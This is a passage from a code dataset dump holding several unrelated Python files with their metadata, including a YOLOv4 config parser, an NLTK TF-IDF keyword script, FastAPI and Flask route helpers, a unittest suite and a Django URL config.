epoch_cnt and time\n start_loss_time = time.time()\n loss = self.get_loss(w, self.train_x, self.train_y, self.alpha)\n end_loss_time = time.time()\n start = start + end_loss_time - start_loss_time\n now = time.time() - start\n record.append(epoch_cnt, now, loss)\n Logger.log(\"EpochCnt :\" + str(epoch_cnt) + \" time:\"\n + str(now) + \"loss:\" + str(loss))\n if epoch_cnt >= self.epoch_num:\n Logger.log(\"epoch_cnt is done\")\n break\n if loss >= 100:\n Logger.log(\"bad iteration\")\n break\n # end while\n Logger.log(\"NewSamp end\")\n record.set_w(np.mat(w))\n record.get_best()\n return record\n\n", "sub_path": "LR_BaseLine/src/newSamp.py", "file_name": "newSamp.py", "file_ext": "py", "file_size_in_byte": 2864, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "Algorithm.__init__", "line_number": 11, "usage_type": "call"}, {"api_name": "Logger.log", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.mat", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.mat", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.random.rand", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 29, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 32, "usage_type": "call"}, {"api_name": "Logger.log", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 36, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.mat", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 46, "usage_type": "attribute"}, {"api_name": "scipy.sparse.linalg.svds", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.mat", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.mat", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.diagflat", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.eye", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.mat", "line_number": 53, "usage_type": "call"}, {"api_name": "time.time", "line_number": 58, "usage_type": "call"}, {"api_name": "time.time", "line_number": 60, "usage_type": "call"}, {"api_name": "time.time", "line_number": 62, "usage_type": "call"}, {"api_name": "Logger.log", "line_number": 64, "usage_type": "call"}, {"api_name": "Logger.log", "line_number": 67, "usage_type": "call"}, {"api_name": "Logger.log", "line_number": 70, "usage_type": "call"}, {"api_name": "Logger.log", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.mat", "line_number": 74, "usage_type": "call"}]} +{"seq_id": "311843704", "text": "from fastapi import Depends, Request\nfrom .models import BaseOrder, BaseOrderCreate\nfrom .order_exceptions import OrderNotExist\nimport uuid\nfrom config import get_settings\nfrom pydantic import UUID4\nimport pymongo\n\n# from apps.users.models import UserDeliveryAddress\nfrom apps.payments.payments import get_payment_method_by_id\nfrom apps.delivery.delivery import get_delivery_method_by_id\nfrom apps.site.delivery_pickup import get_pickup_address_by_id\nfrom apps.users.user import get_user_delivery_address_by_id\n\n\nsettings = get_settings()\n\ndef get_order_by_id(orders_db, order_id: uuid.UUID, link_products = True):\n\torder = orders_db.find_one(\n\t\t{\"_id\": order_id},\n\t)\n\tif not order:\n\t\traise OrderNotExist\n\torder = BaseOrder(**order)\n\treturn order\n\ndef new_order_object(request: Request, new_order: BaseOrderCreate):\n\texclude_fields = {\"delivery_method\", \"payment_method\", \"delivery_address\", \"pickup_address\"}\n\torder = BaseOrder(**new_order.dict(exclude=exclude_fields))\n\torder.payment_method = get_payment_method_by_id(request.app.payment_methods_db, new_order.payment_method)\n\torder.delivery_method = get_delivery_method_by_id(request.app.delivery_methods_db, new_order.delivery_method)\n\tif new_order.delivery_address:\n\t\torder.delivery_address = get_user_delivery_address_by_id(request.app.users_addresses_db, new_order.delivery_address)\n\tif new_order.pickup_address:\n\t\torder.pickup_address = get_pickup_address_by_id(request.app.pickup_addresses_db, new_order.pickup_address)\n\treturn order\n\ndef get_orders_by_user_id(orders_db, user_id: UUID4):\n\tuser_orders_dict = orders_db.find(\n\t\t{\"customer_id\": user_id}\n\t).sort(\"date_created\", -1)\n\tif user_orders_dict.count() == 0:\n\t\treturn []\n\tuser_orders = [BaseOrder(**order).dict() for order in user_orders_dict]\n\treturn user_orders\n", "sub_path": "main_app/apps/orders/orders.py", "file_name": "orders.py", "file_ext": "py", "file_size_in_byte": 1779, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "config.get_settings", "line_number": 16, "usage_type": "call"}, {"api_name": "uuid.UUID", "line_number": 18, "usage_type": "attribute"}, {"api_name": "order_exceptions.OrderNotExist", "line_number": 23, "usage_type": "name"}, {"api_name": "models.BaseOrder", "line_number": 24, "usage_type": "call"}, {"api_name": "fastapi.Request", "line_number": 27, "usage_type": "name"}, {"api_name": "models.BaseOrderCreate", "line_number": 27, "usage_type": "name"}, {"api_name": "models.BaseOrder", "line_number": 29, "usage_type": "call"}, {"api_name": "apps.payments.payments.get_payment_method_by_id", "line_number": 30, "usage_type": "call"}, {"api_name": "apps.delivery.delivery.get_delivery_method_by_id", "line_number": 31, "usage_type": "call"}, {"api_name": "apps.users.user.get_user_delivery_address_by_id", "line_number": 33, "usage_type": "call"}, {"api_name": "apps.site.delivery_pickup.get_pickup_address_by_id", "line_number": 35, "usage_type": "call"}, {"api_name": "pydantic.UUID4", "line_number": 38, "usage_type": "name"}, {"api_name": "models.BaseOrder", "line_number": 44, "usage_type": "call"}]} +{"seq_id": "216688680", "text": "\"\"\"\nMIT License\n\nCopyright (c) 2021 Hyeonki Hong \n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\nfrom os import path\nimport pathlib\nimport random\nfrom typing import Any, Dict, Tuple, Union\n\nimport numpy as np\n\nfrom .metalayer import (\n ConvolutionalLayer,\n MaxpoolLayer,\n NetLayer,\n RouteLayer,\n ShortcutLayer,\n UpsampleLayer,\n YoloLayer,\n YoloTpuLayer,\n)\n\n\ndef parse_cfg(\n cfg_path: str,\n) -> Tuple[Dict[Union[str, int], Any], Dict[str, int], str]:\n \"\"\"\n @return\n Dict[layer_name or layer_index, metalayer]\n Dict[layer_type, count]\n model_name\n \"\"\"\n metalayers: Dict[Union[str, int], Any] = {}\n count: Dict[str, int] = {\n \"convolutional\": 0,\n \"maxpool\": 0,\n \"net\": 0,\n \"route\": 0,\n \"shortcut\": 0,\n \"total\": -1,\n \"upsample\": 0,\n \"yolo\": 0,\n \"yolo_tpu\": 0,\n }\n layer_type: str = \"net\"\n\n meta_layer: Dict[str, Any] = {\n \"convolutional\": ConvolutionalLayer,\n \"maxpool\": MaxpoolLayer,\n \"net\": NetLayer,\n \"route\": RouteLayer,\n \"shortcut\": ShortcutLayer,\n \"upsample\": UpsampleLayer,\n \"yolo\": YoloLayer,\n \"yolo_tpu\": YoloTpuLayer,\n }\n\n with open(cfg_path, \"r\") as fd:\n layer = NetLayer(index=-1, type_index=-1)\n for line in fd:\n line = line.strip().split(\"#\")[0]\n if line == \"\":\n continue\n\n if line[0] == \"[\":\n layer_type = line[1:-1]\n count[\"total\"] += 1\n count[layer_type] += 1\n\n layer = meta_layer[layer_type](\n index=count[\"total\"] - 1, type_index=count[layer_type] - 1\n )\n metalayers[layer.name] = layer\n metalayers[count[\"total\"] - 1] = layer\n\n else:\n # layer option\n option, value = line.split(\"=\")\n option = option.strip()\n value = value.strip()\n try:\n metalayers[layer.name][option] = value\n except KeyError as error:\n raise RuntimeError(\n f\"parse_cfg: [{layer.name}] '{option}' is not\"\n \" supported.\"\n ) from error\n\n # Build layer\n for index in range(count[\"total\"]):\n layer = metalayers[index]\n\n output_shape = metalayers[index - 1].output_shape\n if layer.type in (\"route\", \"shortcut\"):\n if len(layer.layers) > 1:\n output_shape = [\n metalayers[i].output_shape for i in layer.layers\n ]\n else:\n output_shape = metalayers[layer.layers[0]].output_shape\n layer[\"input_shape\"] = output_shape\n\n model_name = pathlib.Path(cfg_path).stem\n\n return metalayers, count, model_name\n\n\ndef parse_names(names_path: str) -> Dict[int, str]:\n \"\"\"\n @return {id: class name}\n \"\"\"\n names: Dict[int, str] = {}\n with open(names_path, \"r\") as fd:\n index = 0\n for class_name in fd:\n class_name = class_name.strip()\n if len(class_name) != 0:\n names[index] = class_name\n index += 1\n\n return names\n\n\ndef parse_dataset(\n dataset_list: str,\n dataset_type: str = \"converted_coco\",\n image_path_prefix: str = \"\",\n):\n \"\"\"\n x: center x 0.0 ~ 1.0\n y: center y 0.0 ~ 1.0\n @return [\n [\n image_path,\n [\n [x, y, w, h, class_id]\n ,\n ...\n ]\n ],\n ...\n ]\n \"\"\"\n dataset = []\n\n with open(dataset_list, \"r\") as fd:\n lines = fd.readlines()\n\n if dataset_type == \"converted_coco\":\n for line in lines:\n # line: \" class_id,x,y,w,h ...\"\n bboxes = line.strip().split()\n\n image_path = bboxes[0]\n if image_path_prefix != \"\":\n image_path = path.join(image_path_prefix, image_path)\n\n xywhc_s = np.zeros((len(bboxes) - 1, 5), dtype=np.float32)\n for i, bbox in enumerate(bboxes[1:]):\n # bbox = class_id,x,y,w,h\n bbox = list(map(float, bbox.split(\",\")))\n xywhc_s[i, :] = (\n *bbox[1:],\n bbox[0],\n )\n\n dataset.append([image_path, xywhc_s])\n\n elif dataset_type == \"yolo\":\n for line in lines:\n # line: \"\"\n image_path = line.strip()\n if image_path_prefix != \"\":\n image_path = path.join(image_path_prefix, image_path)\n\n root, _ = path.splitext(image_path)\n with open(root + \".txt\") as fd2:\n bboxes = fd2.readlines()\n xywhc_s = np.zeros((len(bboxes), 5), dtype=np.float32)\n for i, bbox in enumerate(bboxes):\n # bbox = class_id x y w h\n bbox = bbox.strip()\n bbox = list(map(float, bbox.split(\" \")))\n xywhc_s[i, :] = (\n *bbox[1:],\n bbox[0],\n )\n dataset.append([image_path, xywhc_s])\n\n if len(dataset) == 0:\n raise RuntimeError(\n f\"parse_dataset: There is no dataset in '{dataset_list}'.\"\n )\n\n # Select 5 sets randomly and check the data format\n for _ in range(5):\n first_bbox = dataset[random.randint(0, len(dataset) - 1)][1][0]\n for i in range(4):\n if first_bbox[i] < 0 or first_bbox[i] > 1:\n raise RuntimeError(\n \"parse_dataset: 'center_x', 'center_y', 'width', and\"\n \" 'height' should be between 0.0 and 1.0.\"\n )\n\n if int(first_bbox[4]) < 0:\n raise RuntimeError(\n \"parse_dataset: 'class_id' should be an integer greater than or\"\n \" equal to 0.\"\n )\n\n return dataset\n", "sub_path": "py_src/yolov4/common/parser.py", "file_name": "parser.py", "file_ext": "py", "file_size_in_byte": 7250, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "typing.Dict", "line_number": 52, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 52, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 52, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 53, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 66, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 66, "usage_type": "name"}, {"api_name": "metalayer.ConvolutionalLayer", "line_number": 67, "usage_type": "name"}, {"api_name": "metalayer.MaxpoolLayer", "line_number": 68, "usage_type": "name"}, {"api_name": "metalayer.NetLayer", "line_number": 69, "usage_type": "name"}, {"api_name": "metalayer.RouteLayer", "line_number": 70, "usage_type": "name"}, {"api_name": "metalayer.ShortcutLayer", "line_number": 71, "usage_type": "name"}, {"api_name": "metalayer.UpsampleLayer", "line_number": 72, "usage_type": "name"}, {"api_name": "metalayer.YoloLayer", "line_number": 73, "usage_type": "name"}, {"api_name": "metalayer.YoloTpuLayer", "line_number": 74, "usage_type": "name"}, {"api_name": "metalayer.NetLayer", "line_number": 78, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 122, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 45, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 131, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 127, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 175, "usage_type": "call"}, {"api_name": "os.path", "line_number": 175, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 177, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 177, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 193, "usage_type": "call"}, {"api_name": "os.path", "line_number": 193, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 195, "usage_type": "call"}, {"api_name": "os.path", "line_number": 195, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 198, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 216, "usage_type": "call"}]} +{"seq_id": "311173565", "text": "import nltk\nimport math\nfrom nltk.stem import WordNetLemmatizer\nimport string\nfrom nltk.corpus import stopwords\nfrom collections import Counter\nimport time\n\ndirpath = './reviews_summary_ALL_txt' ###資料夾###\n# f_list = os.listdir(dirpath)\nf_list = ['tt1201607','tt0111161']\nwordnet_lemmatizer = WordNetLemmatizer()\nstopwords = set(stopwords.words('english'))\n#額外自訂義停用字\nstopwords = stopwords.union({\n 'movie', 'film','time','ha','wa','dont','much','thing','many','watch','thats'})\n\n#前處理\ndef my_tokenizer(s):\n s = s.lower() # downcase #建立{符號:None}字典\n remove_punctuation_map = dict((ord(char), None) for char in string.punctuation) #string.punctuation=標點符號\n no_punctuation = s.translate(remove_punctuation_map) #以字典移除標點符號\n tokens = nltk.tokenize.word_tokenize(no_punctuation) # nltk斷字\n tokens = [t for t in tokens if len(t) > 2] # 大於兩個字才要\n tokens = [wordnet_lemmatizer.lemmatize(t) for t in tokens] # 還原詞性\n tokens = [t for t in tokens if t not in stopwords] # 移除停用字\n tokens = [t for t in tokens if not any(c.isdigit() for c in t)] # 移除包含數字的字\n return tokens\n\ndef tf(word, count):\n return count[word] / sum(count.values())\n\ndef n_containing(word, count_list):\n return sum(1 for count in count_list if word in count)\n\ndef idf(word, count_list):\n return math.log(len(count_list) / (1 / n_containing(word, count_list)))\n\n'''\n主程式\n'''\nstart = time.time()\nfor m_id in f_list:\n jn_list =[]\n tokens = []\n error_count = 0\n try:\n m_id = m_id.replace('.txt','')\n # titles = [line.rstrip() for line in open('./reviews_summary_ALL_txt/{}.txt'.format(m_id),encoding='utf-8')]\n with open('./reviews_summary_ALL_txt/{}.txt'.format(m_id), encoding='ISO-8859-1') as e:\n titles = e.readlines()\n\n ##############################資料夾#################################\n print(len(titles))\n # print(titles)\n for title in titles:\n try:\n title = title.encode('ascii', 'ignore').decode('utf-8') #將unicode字符串編碼為ascii並忽略錯誤\n tokens = my_tokenizer(title) #指定標準輸出編碼為utf-8\n except Exception as e:\n print(e)\n print(title)\n error_count += 1\n\n print('前處理後的字數:', len(tokens))\n print('error_count:',error_count)\n\n w_list = nltk.pos_tag(tokens) #標註詞性\n\n for w in w_list: #只取名詞、形容詞\n if 'JJ' in w[1] :\n jn_list.append(w[0])\n if 'NNP' in w[1] :\n jn_list.append(w[0])\n\n count1 = Counter(jn_list)\n print('專有名詞+形容詞數量:',len(count1))\n \n dict_tf = {}\n dict_idf = {}\n set_tf = set()\n set_idf = set()\n \n scores_tf = {word: tf(word, count1) for word in count1}\n sorted_words_tf = sorted(scores_tf.items(), key=lambda x: x[1], reverse=True)\n scores_idf = {word: idf(word, count1) for word in count1}\n sorted_words_idf = sorted(scores_idf.items(), key=lambda x: x[1], reverse=True)\n\n for g in sorted_words_tf:\n dict_tf[g[0]]= '%.10f' % g[1]\n for h in sorted_words_idf:\n dict_idf[h[0]]= '%.10f' % h[1]\n\n for a in list(dict_tf.keys())[:500]:\n set_tf.add(a)\n for b in list(dict_idf.keys())[:500]:\n set_idf.add(b)\n\n cross_all = list(set_tf & set_idf)\n print('前500交集數量:', len(cross_all))\n\n dict_all ={}\n for r in cross_all:\n dict_all[r] = float(dict_tf[r]) * float(dict_idf[r])\n sorted_tuplelist = sorted(dict_all.items(), key=lambda x: x[1], reverse=True)\n\n #取tfidf高的\n sub_tag = sorted_tuplelist[:100] ######################改這裡##########################\n sub_tag_dict = {}\n for y in sub_tag:\n sub_tag_dict[y[0]] = '%.10f' % y[1]\n\n ttid_dict = {}\n ttid_dict['_id'] = m_id\n ttid_dict[m_id] = sub_tag_dict\n print('TFIDF_TOP:', ttid_dict)\n\n # # 把json存進mongo\n # client = MongoClient('localhost', 27017)\n # db = client.movie_tag\n # new_posts = [ttid_dict]\n # posts = db.sum_100JJ ######################和這裡##########################\n # result = posts.insert_many(new_posts)\n # print(\"Bulk Inserts Result is :\", result.inserted_ids)\n # # result = db.test0827.insert_one({'732':((732, 1155), (1.0, 1))})\n except Exception as h:\n print(m_id, \"--\", h)\n\nend = time.time()\nprint(\"總共用時{}秒\".format((end - start)))\n", "sub_path": "n1_tag100_mongo.py", "file_name": "n1_tag100_mongo.py", "file_ext": "py", "file_size_in_byte": 4818, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "nltk.stem.WordNetLemmatizer", "line_number": 12, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 13, "usage_type": "name"}, {"api_name": "nltk.corpus.stopwords.words", "line_number": 13, "usage_type": "call"}, {"api_name": "nltk.corpus.stopwords", "line_number": 15, "usage_type": "name"}, {"api_name": "nltk.corpus.stopwords.union", "line_number": 15, "usage_type": "call"}, {"api_name": "string.punctuation", "line_number": 21, "usage_type": "attribute"}, {"api_name": "nltk.tokenize.word_tokenize", "line_number": 23, "usage_type": "call"}, {"api_name": "nltk.tokenize", "line_number": 23, "usage_type": "attribute"}, {"api_name": "nltk.corpus.stopwords", "line_number": 26, "usage_type": "name"}, {"api_name": "math.log", "line_number": 37, "usage_type": "call"}, {"api_name": "time.time", "line_number": 42, "usage_type": "call"}, {"api_name": "nltk.pos_tag", "line_number": 68, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 76, "usage_type": "call"}, {"api_name": "time.time", "line_number": 129, "usage_type": "call"}]} +{"seq_id": "170521265", "text": "from datetime import datetime, date, timedelta\n\n\nclass Py3status:\n\n def timetil10(self):\n\n ct = datetime.now()\n currentTime = datetime(year = ct.year, month = ct.month, day = ct.day, hour = ct.hour, minute = ct.minute, second = ct.second)\n tenPM = datetime(year = ct.year, month = ct.month, day = ct.day, hour = 22, minute = 0, second = 0)\n timeLeft = str(tenPM - currentTime)\n\n return {'full_text': timeLeft,\n 'cached_until': self.py3.time_in(1)\n }\n", "sub_path": ".config/i3status/py3status/timetil10.py", "file_name": "timetil10.py", "file_ext": "py", "file_size_in_byte": 514, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "datetime.datetime.now", "line_number": 8, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 8, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "303618174", "text": "import threading\nimport asyncio\nimport aiohttp\n\n\nasync def countdown(number, n):\n while n > 0:\n print('%s minus %s'%(n,number))\n await asyncio.sleep(1)\n n -= 1\n\nloop = asyncio.get_event_loop()\ntasks = [\n asyncio.ensure_future(countdown(1,15)),\n asyncio.ensure_future(countdown(2,4))\n]\n\nloop.run_until_complete(asyncio.wait(tasks))\n\n\ndef test(num):\n print('worker:', num)\n\n\n# if __name__ == '__main__':\n# processes = []\n# for i in range(5):\n# processes.append(threading.Thread(target=test, args=(i, )))\n#\n# for pr in processes:\n# pr.start()\n\n\ndef lazy_range(up_to):\n index = 0\n while index < up_to:\n jump = yield index\n if not jump:\n jump = 1\n index += jump\n\n\n# gen = lazy_range(1917)\n# print(next(gen))\n# print(gen.send(-1))\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 824, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "asyncio.sleep", "line_number": 9, "usage_type": "call"}, {"api_name": "asyncio.get_event_loop", "line_number": 12, "usage_type": "call"}, {"api_name": "asyncio.ensure_future", "line_number": 14, "usage_type": "call"}, {"api_name": "asyncio.ensure_future", "line_number": 15, "usage_type": "call"}, {"api_name": "asyncio.wait", "line_number": 18, "usage_type": "call"}]} +{"seq_id": "28436087", "text": "\n\nfrom flask import Flask, Blueprint, jsonify\n\nfrom .models import *\n\nbookie = Blueprint('bookie_control', __name__)\n\n\n@bookie.route('/bookie')\ndef get_all_bookie_bets():\n bookieBets = Bookie.query.all()\n\n out = []\n\n for bet in bookieBets:\n bet_data = {}\n bet_data['id'] = bet.id\n bet_data['team_one'] = bet.teamOneName\n bet_data['team_two'] = bet.teamTwoName\n bet_data['datatime'] = bet.datetime\n bet_data['sport'] = bet.sport\n\n out.append(bet_data)\n\n return jsonify({'bookie': out})\n\n# Returns JSON to user\n\n\n@bookie.route('/bookie/', methods=['GET'])\ndef get_bookie(bookie_id):\n bookieBet = Bookie.query.filter_by(id=bookie_id).first()\n if not bookieBet:\n return jsonify({'message': 'no game found'})\n\n bt = BetType.query.filter_by(id=bookieBet.BetType).first()\n\n bettype_data = {}\n bettype_data['id'] = bt.id\n bettype_data['bet_name'] = bt.betName\n bettype_data['bet_desc'] = bt.betDesc\n\n bookie_data = {}\n bookie_data['id'] = bookieBet.id\n bookie_data['game_id'] = bookieBet.gameID\n bookie_data['bettype'] = bettype_data\n bookie_data['active'] = bookieBet.active\n bookie_data['datetime'] = bookieBet.datetime\n bookie_data['outcome'] = bookieBet.outcome\n\n return jsonify({'bookie': bookie_data})\n\n\n# Admin controls form request\n@bookie.route('/bookie', methods=['POST'])\ndef create_bookie_bet():\n\n return ''\n\n\n# Admin side\n@bookie.route('/bookie/', methods=['PUT'])\ndef update_bookie_bet(bookieID):\n return ''\n\n\n@bookie.route('/bookie/', methods=['DELETE'])\ndef delete_bookie_bet(bookieID):\n return ''\n", "sub_path": "Backend/SportBetting/app/bookie/controller.py", "file_name": "controller.py", "file_ext": "py", "file_size_in_byte": 1659, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "flask.Blueprint", "line_number": 7, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 35, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 52, "usage_type": "call"}]} +{"seq_id": "403623304", "text": "#!/usr/bin/env python\n# encoding: utf-8\n\"\"\"\n@author: RyanLee\n@time: 2019/4/10 14:08\n\"\"\"\nimport unittest\nimport yaml\nimport os\nfrom call_method.resourcecenter.point_client import Point\nfrom call_method.resourcecenter.RC_subject_client import Subject\n\nBASE_DIR= os.path.dirname(os.path.dirname(__file__))\nfile_path= BASE_DIR+ '/datas/env.yml'\n\nwith open(file_path, 'r', encoding='utf-8') as file2:\n datas= yaml.safe_load(file2)\n\nclass PointTest(unittest.TestCase):\n def setUp(self):\n self.S = Subject()\n self.P = Point()\n self.pageNo= datas['page']['pageNo']\n self.pageSize= datas['page']['pageSize']\n\n def test_01_listSubject(self):\n result = self.S.listSubject()\n # print(result)\n self.assertEqual(result['msg'], '操作成功', '获取学科失败')\n subjectList= result['datas']\n for i in subjectList:\n if i['subjectName'] == '小学语文':\n PointTest.subjectId= i['id']\n\n def test_02_createPoint(self):\n result= self.P.createPoint(id= 0,parentId= 0, pointIndex= 2, subjectId= PointTest.subjectId, pointName= '小学语文知识点测试数据2')\n # print(result)\n self.assertEqual(result['msg'], '操作成功', '新增知识点失败')\n PointTest.pointId= result['data']['value']\n\n def test_03_listPointsBySubjectId(self):\n result = self.P.listPointsBySubjectId(value= PointTest.subjectId)\n # print(result)\n # self.assertEqual(result['msg'], '操作成功', '查询知识点失败')\n pointList= result['datas']\n for i in pointList:\n if i['id'] == PointTest.pointId:\n self.assertEqual(i['id'], PointTest.pointId, '插入知识点失败')\n\n def test_04_updatePoint(self):\n result = self.P.updatePoint(id= PointTest.pointId, parentId= 0, pointIndex= 0, subjectId= PointTest.subjectId,\n pointName= '小学语文知识点测试数据-改')\n # print(result)\n self.assertEqual(result['msg'], '操作成功', '修改知识点失败')\n\n def test_05_listPointsBySubjectId(self):\n result= self.P.listPointsBySubjectId(value= PointTest.subjectId)\n # print(result)\n self.assertEqual(result['msg'], '操作成功', '查询知识点失败')\n pointList = result['datas']\n for i in pointList:\n if i['id'] == PointTest.pointId:\n self.assertEqual(i['pointName'], '小学语文知识点测试数据-改', '插入知识点失败')\n\n def test_06_deletePoint(self):\n result = self.P.deletePoint(value= PointTest.pointId)\n # print(result)\n self.assertEqual(result['msg'], '操作成功', '删除知识点失败')\n\n def test_07_listPointsBySubjectId(self):\n result= self.P.listPointsBySubjectId(value= PointTest.subjectId)\n # print(result)\n self.assertEqual(result['msg'], '操作成功', '查询知识点失败')\n pointList = result['datas']\n idList= []\n for i in pointList:\n idList.append(i['id'])\n # print(idList)\n self.assertNotIn(PointTest.pointId, idList, '知识点删除失败')\n\nif __name__ == '__main__':\n unittest.main()", "sub_path": "testcases/RC_pointCase.py", "file_name": "RC_pointCase.py", "file_ext": "py", "file_size_in_byte": 3224, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "yaml.safe_load", "line_number": 17, "usage_type": "call"}, {"api_name": "unittest.TestCase", "line_number": 19, "usage_type": "attribute"}, {"api_name": "call_method.resourcecenter.RC_subject_client.Subject", "line_number": 21, "usage_type": "call"}, {"api_name": "call_method.resourcecenter.point_client.Point", "line_number": 22, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 82, "usage_type": "call"}]} +{"seq_id": "155264554", "text": "from django.conf.urls import patterns, include, url\nfrom django.contrib import admin\nfrom mainapp import views\nfrom django.conf.urls.static import static\nfrom django.conf import settings\n\nurlpatterns = patterns('',\n url(r'^admin/', include(admin.site.urls)),\n url(r'^$', views.index),\n url(r'^index/$', views.index),\n url(r'^login/$', views.login),\n url(r'^logout/$', views.logout),\n url(r'^register/$', views.register),\n url(r'^post/new/$', views.add_object),\n url(r'^post/huyak/$', views.olx_parse),\n url(r'^post/(?P[0-9]+)/$', views.get_object),\n url(r'^post/(?P[0-9]+)/edit/$', views.edit_object),\n url(r'^post/(?P[0-9]+)/confirm', views.confirm_object),\n url(r'^post/(?P[0-9]+)/reject', views.reject_object),\n url(r'^post/(?P[0-9]+)/delete', views.delete_object),\n url(r'^post/(?P[0-9]+)/add_to_favorite', views.add_favorite),\n url(r'^post/(?P[0-9]+)/del_from_favorite', views.del_favorite),\n url(r'^search/', views.search),\n url(r'account/posts/', views.account_posts),\n url(r'account/sms/$', views.account_sms),\n url(r'account/sms/new/(?P[0-9]+)$', views.account_sms_new),\n url(r'account/sms/(?P[0-9]+)/$', views.account_sms_page),\n url(r'account/approve/$', views.account_approve),\n url(r'account/favorites/$', views.account_favorites)\n\n) + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n", "sub_path": "project/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 1413, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "django.conf.urls.patterns", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.include", "line_number": 8, "usage_type": "call"}, {"api_name": "django.contrib.admin.site", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 8, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "mainapp.views.index", "line_number": 9, "usage_type": "attribute"}, {"api_name": "mainapp.views", "line_number": 9, "usage_type": "name"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "mainapp.views.index", 